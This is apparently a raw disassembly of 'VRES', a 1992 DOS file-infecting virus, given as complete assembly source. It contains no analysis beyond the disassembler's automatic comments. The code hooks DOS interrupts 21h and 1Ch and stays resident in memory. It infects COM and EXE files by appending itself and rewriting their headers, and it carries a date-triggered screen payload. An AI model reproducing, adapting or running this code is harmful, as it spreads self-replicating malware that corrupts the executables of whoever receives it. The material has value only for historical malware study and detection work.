PAGE 60,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ VRES ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 4-Jan-92 ÛÛ ;ÛÛ Passes: 5 Analysis Flags on: H ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 12Bh data_2e equ 137h data_3e equ 139h data_4e equ 13Bh data_5e equ 27Dh data_6e equ 5CDh data_7e equ 724h data_8e equ 6B0h data_9e equ 3 data_10e equ 12h seg_a segment assume cs:seg_a, ds:seg_a org 100h vres proc far start: push cs mov ax,cs data_11 dw 105h data_12 dw 5000h data_13 dw 0B8h data_14 dw 5001h db 0CBh, 0 data_15 dw 0 data_16 dw 0EB00h db 4Ah, 90h data_17 dw 1460h db 74h, 2, 53h, 0FFh data_18 dw 0F000h data_19 dw 3B8h db 0, 0CDh data_20 dw 0CD10h data_21 dw 20h data_22 dw 20h data_23 dw 11h data_24 dw 0FFFFh data_25 dw 4 data_26 dw 100h data_27 dw 674Fh data_28 dw 100h data_29 dw 4 data_30 dw 0 data_31 dw 0 data_32 dw 0 data_33 dw 340h data_34 db 5 db 0, 8Ah, 43h, 0B7h, 9Ah, 14h db 0, 0, 1, 71h, 0Dh, 8Eh db 0Ch, 56h, 5, 1, 0EAh, 56h db 74h, 2, 5Ch, 7, 70h, 0 loc_1: push ss add al,al or bx,[si+7] jo loc_2 ; Jump if overflow=1 loc_2: push es push ds mov ax,es push cs pop ds push cs pop es mov data_31,ax mov ax,ss mov data_26,ax mov al,2 out 20h,al ; port 20h, 8259-1 int command cld ; Clear direction xor ax,ax ; Zero register mov ds,ax xor si,si ; Zero register mov di,13Ch mov cx,10h repne movsb ; Rep while cx>0 Mov [si] to es:[di] push ds pop ss mov bp,8 xchg bp,sp call sub_1 ; (01D5) jmp loc_24 ; (0552) loc_3: call sub_12 ; (05EC) call sub_2 ; (023D) jz loc_4 ; Jump if zero mov al,ds:data_7e push ax call sub_3 ; (02AE) pop ax mov ds:data_7e,al jmp short loc_5 ; (01B4) db 90h loc_4: call sub_5 ; (041B) call sub_6 ; (043D) cmp byte ptr ds:data_7e,0 jne loc_5 ; Jump if not equal mov ax,4C00h int 21h ; DOS Services ah=function 4Ch ; terminate with al=return code loc_5: cmp byte ptr ds:data_7e,43h ; 'C' jne loc_8 ; Jump if not equal loc_6: pop ds pop es push cs pop ds pop es push es mov di,100h mov si,10Bh mov cx,0Ch repne movsb ; Rep while cx>0 Mov [si] to es:[di] push es pop ds mov ax,100h push ax xor ax,ax ; Zero register retf ; Return far vres endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near mov si,6 lodsw ; String [si] to ax cmp ax,192h je loc_6 ; Jump if equal cmp ax,179h jne loc_7 ; Jump if not equal jmp loc_10 ; (028F) loc_7: cmp ax,1DCh je loc_8 ; Jump if equal retn loc_8: pop ds pop es mov bx,cs:data_18 sub bx,cs:data_29 mov ax,cs sub ax,bx mov ss,ax mov bp,cs:data_30 xchg bp,sp mov bx,cs:data_21 sub bx,cs:data_22 mov ax,cs sub ax,bx push ax mov ax,cs:data_23 push ax retf ; Return far db 23h, 1Ah db '<#/--!.$' db 0Eh, 23h, 2Fh, 2Dh, 0E0h db 'D:VRES.COM' db 0, 58h, 45h, 0, 0 db 24h, 24h, 24h, 24h, 24h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_2: mov ax,3D02h mov dx,219h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jnc loc_9 ; Jump if carry=0 clc ; Clear carry flag retn loc_9: mov ds:data_1e,ax mov dx,673h mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov ax,4202h mov bx,ds:data_1e mov cx,0FFFFh mov dx,0FFFEh int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov dx,27Dh mov ah,3Fh ; '?' mov bx,ds:data_1e mov cx,2 int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle push ds mov dx,ds:data_3e mov ax,ds:data_2e mov ds,ax mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop ds cmp word ptr ds:data_5e,0A0Ch clc ; Clear carry flag retn db 0CDh, 20h loc_10: cmp ax,22Dh je loc_11 ; Jump if equal push ds pop es push cs pop ds mov ax,data_26 mov ss,ax xchg bp,sp mov si,13Ch mov di,0 mov cx,10h cld ; Clear direction repne movsb ; Rep while cx>0 Mov [si] to es:[di] jmp loc_3 ; (018C) sub_1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near loc_11: mov al,43h ; 'C' mov ds:data_7e,al mov al,8 out 70h,al ; port 70h, RTC addr/enabl NMI ; al = 8, month register in al,71h ; port 71h, RTC clock/RAM data mov ds:data_4e,al mov dx,219h mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jnc loc_12 ; Jump if carry=0 retn loc_12: mov ds:data_1e,ax mov dx,10Bh mov bx,ds:data_1e mov cx,0Ch mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset push ax add ax,10h and ax,0FFF0h push ax shr ax,1 ; Shift w/zeros fill shr ax,1 ; Shift w/zeros fill shr ax,1 ; Shift w/zeros fill shr ax,1 ; Shift w/zeros fill mov di,31Fh stosw ; Store ax to es:[di] pop ax pop bx sub ax,bx mov cx,627h add cx,ax mov dx,100h sub dx,ax mov bx,ds:data_1e mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov ah,40h ; '@' mov bx,ds:data_1e mov cx,0Ch mov dx,31Bh int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,3Eh ; '>' mov bx,ds:data_1e int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle retn sub_3 endp db 0Eh, 8Ch, 0C8h, 5, 1, 0 db 50h, 0B8h, 0, 1, 50h, 0CBh ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near mov al,45h ; 'E' mov byte ptr ds:[724h],al mov al,8 out 70h,al ; port 70h, RTC addr/enabl NMI ; al = 8, month register in al,71h ; port 71h, RTC clock/RAM data mov data_34,al mov dx,219h mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jnc loc_13 ; Jump if carry=0 retn loc_13: mov data_26,ax mov dx,10Bh mov bx,data_26 mov cx,18h mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx mov ax,4202h mov cx,0 mov dx,0 int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset push ax add ax,10h adc dx,0 and ax,0FFF0h mov data_24,dx mov data_25,ax mov cx,727h sub cx,100h add ax,cx adc dx,0 mov cx,200h div cx ; ax,dx rem=dx:ax/reg inc ax mov data_16,ax mov data_15,dx mov ax,data_21 mov data_22,ax mov ax,data_20 mov data_23,ax mov ax,data_18 mov data_29,ax mov ax,data_19 mov data_30,ax mov dx,data_24 mov ax,data_25 mov cx,10h div cx ; ax,dx rem=dx:ax/reg sub ax,10h sub ax,data_17 mov data_21,ax mov data_18,ax mov data_20,100h mov data_19,100h mov ax,4200h xor cx,cx ; Zero register mov dx,2 int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov dx,10Dh mov bx,data_26 mov cx,16h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov dx,100h mov ax,data_25 pop cx sub ax,cx sub dx,ax mov cx,727h add cx,ax sub cx,100h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle retn sub_4 endp db 51h, 0B9h, 0, 0, 0B4h, 4Eh db 0CDh, 21h, 59h, 0C3h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near push es mov ax,351Ch int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov cs:data_13,bx mov cs:data_14,es mov ax,3521h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx push es pop ax mov cs:data_12,ax mov cs:data_11,bx pop es retn sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push ax push es push ds xor ax,ax ; Zero register mov es,ax mov si,86h mov ax,es:[si] mov ds,ax mov si,725h cmp word ptr [si],0A0Ch jne loc_14 ; Jump if not equal push ds pop ax call sub_13 ; (0611) pop ds pop es pop ax retn loc_14: push cs pop ds mov ax,data_31 dec ax mov es,ax cmp byte ptr es:[0],5Ah ; 'Z' je loc_15 ; Jump if equal jmp short loc_16 ; (04B4) db 90h loc_15: mov ax,es:data_9e mov cx,737h shr cx,1 ; Shift w/zeros fill shr cx,1 ; Shift w/zeros fill shr cx,1 ; Shift w/zeros fill shr cx,1 ; Shift w/zeros fill sub ax,cx jc loc_16 ; Jump if carry Set mov es:data_9e,ax sub es:data_10e,cx push cs pop ds mov ax,es:data_10e push ax pop es mov si,100h push si pop di mov cx,627h cld ; Clear direction repne movsb ; Rep while cx>0 Mov [si] to es:[di] push es sub ax,ax mov es,ax mov si,84h mov dx,4A8h mov es:[si],dx inc si inc si pop ax mov es:[si],ax loc_16: pop ds pop es pop ax retn sub_6 endp db 3Ch, 57h, 75h, 3, 0EBh, 1Eh db 90h, 80h, 0FCh, 1Ah, 75h, 6 db 0E8h, 17h, 1, 0EBh, 13h, 90h loc_17: cmp ah,11h jne loc_18 ; Jump if not equal call sub_7 ; (04E1) iret ; Interrupt return loc_18: cmp ah,12h jne loc_19 ; Jump if not equal call sub_10 ; (059C) iret ; Interrupt return loc_19: jmp dword ptr cs:data_11 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near mov al,57h ; 'W' int 21h ; DOS Services ah=function 00h ; terminate, cs=progm seg prefx push ax push cx push dx push bx push bp push si push di push ds push es push cs pop ds push cs pop es mov byte ptr cs:data_35,0 nop call sub_8 ; (0514) jnz loc_20 ; Jump if not zero call sub_2 ; (023D) jz loc_20 ; Jump if zero call sub_15 ; (065A) dec byte ptr ds:data_6e loc_20: pop es pop ds pop di pop si pop bp pop bx pop dx pop cx pop ax retn sub_7 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near push cs pop es push cs pop es cld ; Clear direction call sub_9 ; (0552) jnc loc_21 ; Jump if carry=0 cmp di,0 retn loc_21: mov di,219h mov al,2Eh ; '.' mov cx,0Bh repne scasb ; Rept zf=0+cx>0 Scan es:[di] for al cmp word ptr [di],4F43h jne loc_22 ; Jump if not equal cmp byte ptr [di+2],4Dh ; 'M' jne loc_22 ; Jump if not equal mov byte ptr ds:[724h],43h ; 'C' nop retn loc_22: cmp word ptr [di],5845h jne loc_ret_23 ; Jump if not equal cmp byte ptr [di+2],45h ; 'E' jne loc_ret_23 ; Jump if not equal mov byte ptr ds:[724h],45h ; 'E' nop loc_ret_23: retn sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near loc_24: push ds mov si,cs:data_27 mov ax,cs:data_28 mov ds,ax mov di,219h lodsb ; String [si] to al cmp al,0FFh jne loc_25 ; Jump if not equal add si,6 lodsb ; String [si] to al jmp short loc_26 ; (0574) db 90h loc_25: cmp al,5 jb loc_26 ; Jump if below pop ds stc ; Set carry flag retn loc_26: mov cx,0Bh cmp al,0 je locloop_27 ; Jump if equal add al,40h ; '@' stosb ; Store al to es:[di] mov al,3Ah ; ':' stosb ; Store al to es:[di] locloop_27: lodsb ; String [si] to al cmp al,20h ; ' ' je loc_28 ; Jump if equal stosb ; Store al to es:[di] jmp short loc_29 ; (0594) db 90h loc_28: cmp byte ptr es:[di-1],2Eh ; '.' je loc_29 ; Jump if equal mov al,2Eh ; '.' stosb ; Store al to es:[di] loc_29: loop locloop_27 ; Loop if cx > 0 mov al,0 stosb ; Store al to es:[di] pop ds clc ; Clear carry flag retn sub_9 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near mov al,57h ; 'W' int 21h ; DOS Services ah=function 00h ; terminate, cs=progm seg prefx push ax push cx push dx push bx push bp push si push di push ds push es push cs pop ds push cs pop es cmp byte ptr cs:data_35,0 je loc_30 ; Jump if equal jmp short loc_31 ; (05D3) db 90h loc_30: call sub_8 ; (0514) jnz loc_31 ; Jump if not zero call sub_2 ; (023D) jz loc_31 ; Jump if zero call sub_15 ; (065A) dec byte ptr ds:data_6e pop es pop ds pop di pop si data_35 db 5Dh db 5Bh, 5Ah, 59h, 58h, 0C3h loc_31: pop es pop ds pop di pop si pop bp pop bx pop dx pop cx pop ax retn sub_10 endp db 0 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_11 proc near push ax push ds pop ax mov cs:data_28,ax mov cs:data_27,dx pop ax retn sub_11 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_12 proc near push cs mov al,0 out 20h,al ; port 20h, 8259-1 int command mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_3e,bx mov bx,es mov ds:data_2e,bx pop es mov si,20Ah mov di,219h mov cx,0Fh locloop_32: lodsb ; String [si] to al add al,20h ; ' ' stosb ; Store al to es:[di] loop locloop_32 ; Loop if cx > 0 retn sub_12 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_13 proc near push ax push cs pop ds push cs pop es mov bl,data_34 cmp bl,0Ch ja loc_34 ; Jump if above cmp bl,0 je loc_34 ; Jump if equal mov al,8 out 70h,al ; port 70h, RTC addr/enabl NMI ; al = 8, month register in al,71h ; port 71h, RTC clock/RAM data cmp al,0Ch ja loc_34 ; Jump if above cmp al,0 je loc_34 ; Jump if equal cmp al,bl je loc_34 ; Jump if equal inc bl call sub_14 ; (064F) cmp al,bl je loc_34 ; Jump if equal inc bl call sub_14 ; (064F) cmp al,bl je loc_34 ; Jump if equal pop ds call sub_16 ; (0686) push cs pop ds retn ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_14: cmp bl,0Ch jbe loc_ret_33 ; Jump if below or = sub bl,0Ch loc_ret_33: retn loc_34: pop ax retn sub_13 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_15 proc near mov dx,673h mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx cmp byte ptr ds:[724h],43h ; 'C' jne loc_35 ; Jump if not equal call sub_3 ; (02AE) jmp short loc_36 ; (0672) db 90h loc_35: call sub_4 ; (0337) loc_36: push ds sub_15 endp ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ; External Entry Point ; ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ int_24h_entry proc far mov dx,data_33 mov ax,data_32 mov ds,ax mov ax,2524h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop ds retn int_24h_entry endp db 0B0h, 3, 0CFh ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_16 proc near mov dx,6B0h mov ax,251Ch int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov byte ptr ds:data_8e,90h nop mov ax,0B800h mov es,ax data_36 db 0BFh data_37 dw 0FA0h db 0B8h, 20h, 7, 0B9h, 0Bh, 0 db 0F2h, 0ABh, 0Eh, 7, 0C3h, 0 db 0, 0, 20h, 7, 0Fh db 0Ah data_38 db 0Fh db 0Ah data_39 db 0Fh db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0Fh db 0Ah, 0Fh, 0Ah, 0Fh, 0Ah, 0F7h db 0Eh, 0EEh, 0Ch, 90h, 0FBh, 50h db 51h, 52h, 53h, 55h, 56h, 57h db 1Eh, 6, 0Eh, 1Fh, 0EBh, 0Bh db 90h loc_37: pop es pop ds pop di pop si pop bp pop bx pop dx pop cx pop ax iret ; Interrupt return sub_16 endp db 0B8h, 0, 0B8h, 8Eh, 0C0h, 0E8h db 2Bh, 0, 0BEh, 9Ah, 6, 0B9h db 16h, 0, 0F2h, 0A4h, 80h, 3Eh db 0AEh, 6, 0EEh, 74h, 8, 0C6h db 6, 0AEh, 6, 0EEh, 0EBh, 6 db 90h loc_38: mov data_38,0F0h loc_39: mov ax,es:[di] mov ah,0Eh mov data_37,ax mov data_36,0 jmp short loc_37 ; (06D0) ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_17 proc near mov di,0 loc_40: mov si,69Ch push di mov cx,12h cld ; Clear direction repe cmpsb ; Rept zf=1+cx>0 Cmp [si] to es:[di] pop di jz loc_41 ; Jump if zero inc di inc di cmp di,0FA0h jne loc_40 ; Jump if not equal mov di,0 loc_41: cmp di,0F9Eh jne loc_ret_42 ; Jump if not equal mov data_39,0CFh loc_ret_42: retn sub_17 endp db 43h, 0Ch, 0Ah seg_a ends end start